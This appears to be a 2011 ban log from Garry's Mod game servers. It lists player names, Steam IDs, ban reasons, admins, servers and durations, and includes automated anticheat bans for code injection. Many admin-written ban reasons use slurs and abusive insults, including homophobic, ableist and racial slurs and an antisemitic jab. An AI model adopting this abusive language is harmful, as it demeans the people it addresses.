+Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:59 pm 24-09-11 Unknown STEAM_0:1:43867868 Another fucking idiot +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:58 pm 24-09-11 Unknown STEAM_0:1:17254099 Another fucking idiot +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:57 pm 24-09-11 (AW) {MPhx} ppopjj STEAM_0:0:40344546 Fucking +idiot Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:21:9 Unbanned +3:57 pm 24-09-11 Unknown STEAM_0:1:17254099 Pretending to be someone +else + idiot +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:55 pm 24-09-11 (1)Vitadar STEAM_0:1:43867868 Pretending to be +vitadar + massive cunt +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +1:17 pm 24-09-11 Shut yo face STEAM_0:1:19061592 Alt of banned ID +STEAM_0:1:19061592 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 0:0:21 Unbanned +12:39 pm 24-09-11 Shut yo face STEAM_0:1:19061592 Wigbig Killa's +Zombie Survival Server Zombie Survival 0:1:0 Unbanned +5:36 am 24-09-11 Unknown STEAM_0:0:30611686 Go be an ass somewhere +else [MWRP] Norzone Official Zombified World|Lvl Cap +10 Zombified +World 31:22:40 Unbanned +1:45 am 24-09-11 Lemmiwinks STEAM_0:1:18967422 gtfo, retard +Suppooort Vet 3 - Bren in Bren Fretta|Tigergruppe Kommand Snifer +0:5:0 Unbanned +12:37 am 24-09-11 segartS STEAM_0:1:44575166 Alt of banned ID +STEAM_0:1:37909917 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:1:37 Unbanned +12:14 am 24-09-11 Strages STEAM_0:1:37909917 screwing with peoples T +round as T Dr. Docter Fretta|Tigergruppe Kommand Poltergeist 2:2:0 +Unbanned +11:56 pm 23-09-11 Rockah12 STEAM_0:0:38825619 TEAM KILLER! Dr. +Docter Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +11:39 pm 23-09-11 BlackBlood STEAM_0:0:32862194 rdm Dr. Docter +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:28 pm 23-09-11 Rigbe STEAM_0:1:20555849 ghosting Dr. Docter +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:15:7 Unbanned +9:29 pm 23-09-11 Pnico STEAM_0:0:29811444 MASS RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:24 pm 23-09-11 Unknown STEAM_0:1:37780756 Nekoace Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:57 pm 23-09-11 Unknown STEAM_0:0:7016175 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:32 pm 23-09-11 Unknown STEAM_0:1:30537140 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:55 pm 22-09-11 AZooOooZ11 STEAM_0:0:20536167 not a smart move MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:12 pm 22-09-11 HÃ¥var..!!!! STEAM_0:0:17643198 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:51 pm 22-09-11 The Silver Witch Beatriche STEAM_0:0:30340513 prop +rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:12:0 Unbanned +7:35 pm 22-09-11 Ford Taunus 17 M PS3ts -63 STEAM_0:1:35164355 +RDM Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:16 pm 22-09-11 Randominternetguy STEAM_0:1:24875543 Basing +offworld Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +10:37 pm 21-09-11 Pvt. P. Krachenfels [11th AB] STEAM_0:0:16186808 +the more you scream nigger the more i wanted to ban you MAD MAN +Fretta|Tigergruppe Kommand One In The Chamber Permanent Banned +9:19 pm 21-09-11 Hannibal The Cannibal STEAM_0:0:30440286 being a +dirty troll Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:9:20 Unbanned +7:35 pm 21-09-11 Unknown STEAM_0:0:21315807 smart move (RDM) MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +7:35 pm 21-09-11 Unknown STEAM_0:0:21315807 smart move (RDM) MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +7:20 pm 21-09-11 Â?Â? STEAM_0:0:26233583 spam MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:44 pm 21-09-11 Unknown STEAM_0:1:8475562 Stupid idea to rdm mate +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +10:32 pm 20-09-11 °Monster° STEAM_0:0:30611686 faction exploiting +Nekoace Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 +Unbanned +10:30 pm 20-09-11 [Gmod.biZ] Sh00ter STEAM_0:0:17964513 Several +exploits Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 7:15:20 Unbanned +10:29 pm 20-09-11 Unknown STEAM_0:1:26549352 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Firefight Permanent Banned +10:28 pm 20-09-11 Unknown STEAM_0:0:18691624 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Firefight Permanent Banned +10:27 pm 20-09-11 Unknown STEAM_0:0:18007424 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +8:40 pm 20-09-11 Ziemniak STEAM_0:0:26302355 ridiculously low +karma, rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:04 pm 20-09-11 NINJAUNICORN STEAM_0:1:30423115 You've got fucked +karma, mang! +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +5:57 pm 20-09-11 ZaиiaЯâ?? STEAM_0:1:29336899 Alright then, made +you. +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +3:22 pm 20-09-11 Chelmy STEAM_0:0:16820336 Base deleting during war +Nekoace Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 +Unbanned +12:44 am 20-09-11 destroyer57 STEAM_0:0:25123523 rdm * 2 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:24 Unbanned +12:31 am 20-09-11 Flip STEAM_0:0:20615088 RDM, dont come back +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +10:47 pm 19-09-11 quackenpoker STEAM_0:0:31776035 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:33 pm 19-09-11 Spero78 STEAM_0:1:33168641 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 85:19:20 Unbanned +10:12 pm 19-09-11 an_owl STEAM_0:0:22746878 killing people with +props. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:12:0 Unbanned +10:08 pm 19-09-11 TTC Emperor Takeda HâkushÅ?[TR +STEAM_0:1:36838657 RDM Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +7:27 pm 19-09-11 hamoodicool3 STEAM_0:1:43867868 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:05 pm 19-09-11 à¹?Û£Û? Ä?Å?Ä?Ä?Î? STEAM_0:0:2336176 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:2 +Unbanned +11:05 pm 18-09-11 nash8288 STEAM_0:0:37936737 acting immature +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +10:50 pm 18-09-11 [LL-m][AARP]White Knight STEAM_0:1:18360894 Rdm and +Troll +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 13:21:20 Unbanned +10:37 pm 18-09-11 Tasty Tuna STEAM_0:1:16812953 prop killing Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:12:0 Unbanned +10:13 pm 18-09-11 Unknown STEAM_0:1:19709422 deleted base MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 2:18:40 Unbanned +9:25 pm 18-09-11 AllStarZ[TT] STEAM_0:0:34483728 RDM IN PREVIOUS +ROUNDS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +9:25 pm 18-09-11 [EGI] fuzzygrub75 (PMC) STEAM_0:1:33171695 RDM ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:30 Unbanned +8:39 pm 18-09-11 Unknown STEAM_0:0:1796451 Several offworld bases +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +8:22 pm 18-09-11 Hipster STEAM_0:0:33400512 prop killing Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +6:43 pm 18-09-11 +[ZH]+ZombieTamer STEAM_0:1:37780756 prop pushing +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 +Unbanned +6:41 pm 18-09-11 Scarface STEAM_0:0:35184488 prop pushing Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 Unbanned +5:36 pm 18-09-11 Burrito STEAM_0:1:12098234 You call that Rdming? ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:00 pm 18-09-11 shaikan STEAM_0:1:9852991 base out of map MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 Unbanned +3:04 pm 18-09-11 Binary Code STEAM_0:1:3807640 Alt of banned ID +STEAM_0:0:41745347 (Console) Fretta|Tigergruppe Kommand GunGame +Permanent Banned +12:19 pm 18-09-11 Unknown STEAM_0:0:43714855 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 pm 17-09-11 (AW) {MPhx} ppopjj STEAM_0:0:40344546 low karma +Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +10:50 pm 17-09-11 Battlecruiser STEAM_0:0:19255097 Rad the rules ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +694:10:40 Banned +2:28 pm 17-09-11 Unknown STEAM_0:0:32585154 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:16:40 Unbanned +2:27 pm 17-09-11 Sex Free HERE STEAM_0:1:31370258 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:08 pm 17-09-11 Unknown STEAM_0:1:14864726 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 am 17-09-11 +[HA]+ TheKakemonster STEAM_0:1:35111385 RDM ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:20:50 Unbanned +10:58 am 17-09-11 ''skhga'sál''aa's STEAM_0:0:28319345 RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:4:0 Unbanned +10:42 am 17-09-11 Mr.smith STEAM_0:0:19648910 Treason, RDM, Low +karma +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +11:21 pm 16-09-11 Unknown STEAM_0:0:5552620 RDM + Leaving. Probably a +zionist too, if not then at least a Coh OF player. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Deathrun 0:12:0 Unbanned +10:36 pm 16-09-11 Scarface STEAM_0:0:35184488 Wigbig Official +Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +10:29 pm 16-09-11 Unknown STEAM_0:0:28363046 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +8:44 pm 16-09-11 Drunkenkidney95 STEAM_0:0:17425490 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:23 pm 16-09-11 Hannibal The Cannibal STEAM_0:0:30440286 IGNORING +ADMINS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +7:29 pm 16-09-11 +[SP]+ Marked One [SK] STEAM_0:1:22013742 +MEEELOOOOONS Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 0:0:1 Unbanned +6:12 pm 16-09-11 BloodY StooL STEAM_0:0:8403669 Fuck off +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:42 pm 16-09-11 Felix STEAM_0:0:40979860 and don ' t come back +Wigbig Fretta|Tigergruppe Kommand Trouble in Terrorist Town 9:0:40 +Unbanned +9:54 pm 15-09-11 cookie monster XDDDDddDDD ;) ^_ STEAM_0:1:13743755 +RDM AND BACKCHAT TO SP MEMBERS ADMIN +[SP]+ EDDIE STONE +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:54 pm 15-09-11 Cool cat STEAM_0:0:19255097 RDM AND BACKCHAT TO SP +MEMBERS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +9:00 pm 15-09-11 Unknown STEAM_0:1:28462533 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:00 pm 15-09-11 Unknown STEAM_0:1:38572580 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:31 pm 15-09-11 à¹?Û?Redacule STEAM_0:1:17352532 Killing detectives +as detective Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:6:40 Unbanned +7:19 pm 15-09-11 THE0BEAST STEAM_0:0:40881551 rdm, come back in an +hour Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +11:57 pm 14-09-11 Brute STEAM_0:1:16985414 bye MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:57 pm 14-09-11 LeapingTeka STEAM_0:1:37374632 bye bitch MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:01 pm 14-09-11 mec693 STEAM_0:0:24148992 Come back when you're +17. Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4380:0:0 Banned +9:09 pm 14-09-11 ^1Red ^1PoWeR! STEAM_0:1:9655093 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +8:27 pm 14-09-11 FrAgGeR STEAM_0:1:37115325 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +8:23 pm 14-09-11 Jack_Sprat STEAM_0:0:16758284 RDM. come back next +round Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +8:18 pm 14-09-11 Azabajam STEAM_0:1:34362897 Good luck getting me +banned (You can make an admin abuse thread here +) Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 36:13:46 Unbanned +6:35 pm 14-09-11 Oasis9409 STEAM_0:0:34537118 Chill time +[SP]+ +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +1:43 pm 14-09-11 Unknown STEAM_0:0:30441893 Faction base farming +Norzone Official Zombified World|Lvl Cap +10 Zombified World 14:0:0 +Unbanned +1:34 pm 14-09-11 Unknown STEAM_0:1:35665614 Faction exploiting and +base farming Norzone Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +6:43 pm 13-09-11 Rhino STEAM_0:0:66502 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:33 pm 13-09-11 B00mHeadsh0t STEAM_0:1:34494278 Alt of banned ID +STEAM_0:1:34494278 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +3:45 pm 13-09-11 A true motherf8 STEAM_0:0:19255097 I killed them +because i have a deagle Wigbig Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +3:44 pm 13-09-11 Pickle Delivery! STEAM_0:0:18699999 spam Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +5:56 pm 12-09-11 Unknown STEAM_0:0:37796859 Cheat: lesp (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +5:55 pm 12-09-11 Unknown STEAM_0:1:42476821 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:55 pm 12-09-11 Unknown STEAM_0:1:36927998 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:54 pm 12-09-11 Unknown STEAM_0:1:25107044 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:0:44107553 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:0:20406383 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:1:15789158 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:52 pm 12-09-11 Unknown STEAM_0:1:15789158 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:52 pm 12-09-11 Unknown STEAM_0:1:22227066 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:20 pm 11-09-11 quackenpoker STEAM_0:0:31776035 Rdming a fuckin +load. Twat +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +8:44 pm 11-09-11 â?¢PoFoDa STEAM_0:0:23026295 Prop destroying +[SP]+ +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +7:25 pm 11-09-11 Pelf STEAM_0:1:10994497 Bon voyage biiiitch +[SP]+ +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:17 pm 11-09-11 +[PS3]+Everybody in this server STEAM_0:1:22172556 +RDM, Low karma +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:12 am 11-09-11 Troyo STEAM_0:0:30352843 +[SP]+ Hellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:16:40 Unbanned +8:11 pm 10-09-11 Dream STEAM_0:1:39446024 RDM +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +7:18 pm 10-09-11 xXxSN1P3SH0TxXx STEAM_0:1:35576191 RDM and General +faggotory. +[SP]+ Nekoace Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +7:17 pm 10-09-11 (N.P) Cpt Ry@n Money on fire LO STEAM_0:0:26030841 +Faction exploiting +[SP]+ Nekoace Official Zombified World|Lvl Cap ++10 Zombified World 0:16:40 Unbanned +5:38 pm 10-09-11 Trouble >>> STEAM_0:1:9984518 Alt of banned ID +STEAM_0:1:9984518 (Console) Killa's Zombie Survival Server Zombie +Survival 1:9:15 Unbanned +5:34 pm 10-09-11 Trouble >>> STEAM_0:1:9984518 Constantly claims i +abuse admin and is going to get me banned +[SP]+ Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +3:54 pm 10-09-11 Unknown STEAM_0:1:33565504 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:53 pm 10-09-11 Unknown STEAM_0:1:21555783 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:26 pm 10-09-11 Hannibal The Cannibal STEAM_0:0:30440286 not listen +cock +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +11:58 am 10-09-11 Unknown STEAM_0:1:43442378 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:0:37589369 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:1:26057694 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:1:25397734 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:56 am 10-09-11 Unknown STEAM_0:0:38604448 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:53 am 10-09-11 Unknown STEAM_0:0:15726896 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:52 am 10-09-11 Unknown STEAM_0:0:19811962 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:26 am 10-09-11 ZaniteKiller STEAM_0:0:41907869 retarded shit kid +rdmer Disguised Shit Kid Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:18 pm 09-09-11 Unknown STEAM_0:0:23046484 False Tags +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:22:40 Unbanned +9:38 pm 09-09-11 Unknown STEAM_0:0:20884479 RDM then left Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:08 pm 09-09-11 +[SP]+ Colek STEAM_0:1:10972966 Alt of banned ID +STEAM_0:1:10972966 (Console) Killa's Zombie Survival Server Zombie +Survival 0:0:41 Unbanned +12:00 pm 09-09-11 Unknown STEAM_0:1:15119164 rdming +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +11:09 pm 08-09-11 generalxl STEAM_0:0:15035839 RDMing an admin ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +9:23 pm 08-09-11 Unknown STEAM_0:1:17923795 base delete while under +attack MAD MAN Official Zombified World|Lvl Cap +10 Zombified World +2:2:0 Unbanned +7:27 pm 08-09-11 curriehawk STEAM_0:0:38843145 rdmer +[SP]+ +Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:52 pm 08-09-11 icis4 STEAM_0:1:20514295 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +5:41 pm 08-09-11 Brain Eater DK STEAM_0:0:32953783 Prop pushing ++[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified World +1:9:20 Unbanned +5:39 pm 08-09-11 ICEMAN STEAM_0:1:4782422 cockfag +[SP]+ Ecuilirum +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 41:16:0 Unbanned +4:19 pm 08-09-11 Fatman55 STEAM_0:0:31999426 YOU VIOLATED THE +LAW!!! +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Laser Dance +0:16:40 Unbanned +2:40 pm 08-09-11 Ð?Ñ?бка Ð?об)))) STEAM_0:0:40979860 RDM, Low +karma, Left +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:4:0 Unbanned +2:39 pm 08-09-11 Unknown STEAM_0:0:29086312 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:40 Unbanned +2:06 pm 08-09-11 Ï?...:::Pedro:::...Ï? STEAM_0:0:21408633 Treason ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:9:20 Unbanned +11:57 pm 07-09-11 Sambana STEAM_0:0:43542248 rdm and idiot +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +5:49 pm 07-09-11 +[SP]+ Colek STEAM_0:1:10972966 Propkilling. Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:10 am 07-09-11 Unknown STEAM_0:0:32211033 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +11:10 am 07-09-11 Unknown STEAM_0:0:38727026 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +9:49 pm 06-09-11 Unknown STEAM_0:0:29367281 What are you going to do +about it? CRY?! +[SP]+ Nekoace Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +9:47 pm 06-09-11 Jarate Scout STEAM_0:1:25878921 spam Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:10:0 Unbanned +9:38 pm 06-09-11 Unknown STEAM_0:0:750394 Fake SP +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +7:46 pm 06-09-11 Unknown STEAM_0:0:42044871 accused of RDM, left +server. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +11:48 am 06-09-11 Unknown STEAM_0:0:25268506 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +11:47 am 06-09-11 Unknown STEAM_0:1:23359101 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +9:24 pm 05-09-11 Alexaz I STEAM_0:1:14591454 Retard on so many +levels +[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +9:06 pm 05-09-11 Rebecca Black STEAM_0:0:25559631 Killing detectives +as innocent Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +8:58 pm 05-09-11 xXxbadboyxXx STEAM_0:1:40367791 Fucking disgusting +spray, grow up. +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +5:18 pm 05-09-11 Kemelvor[FR] STEAM_0:1:19974959 rdming traitors ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:11 pm 05-09-11 XrG x ReFLeXSS STEAM_0:0:34304004 raging faggot last +time we met +[SP]+ Nekoace Killa's Zombie Survival Server Zombie +Survival 1:9:20 Unbanned +2:28 pm 05-09-11 Woffy STEAM_0:0:43644821 RDMing shit Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +2:12 pm 05-09-11 Fill STEAM_0:0:19255097 Go cool down Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:27 pm 05-09-11 â?¾Ï?â?½â?¯râ?¯onkeÆ´â?¢ STEAM_0:1:39312723 Low +Karma +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:27 pm 05-09-11 TheSuperAnon STEAM_0:1:29855170 Low karma +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:49 am 05-09-11 Unknown STEAM_0:0:26325272 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:39 pm 04-09-11 â? Mr. Fuzzy Platypusâ? CrabJr. STEAM_0:0:16404788 +revenge rdming +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +9:36 pm 04-09-11 Camper NOO REALLY IM NOT SEXIST +STEAM_0:0:30697563 bye MAD MAN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:20:40 Unbanned +8:37 pm 04-09-11 Dennis STEAM_0:1:13538181 prop pushing Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +8:01 pm 04-09-11 Â? STEAM_0:0:11151286 no name +[SP]+ EDDIE STONE +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +7:49 pm 04-09-11 Alexaz I STEAM_0:1:14591454 min prop destroying +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +7:18 pm 04-09-11 Zen STEAM_0:1:6639404 prop destroying Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:0:30 Unbanned +6:08 pm 04-09-11 Unknown STEAM_0:1:34106703 base deleting during +war +[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +4:29 pm 04-09-11 (WBA Inf.)Pfc. Knight STEAM_0:0:17741589 Breaking +rules. +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +4:12 pm 04-09-11 Padron Frodo STEAM_0:0:34846843 Pretty damm stupid +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +11:16 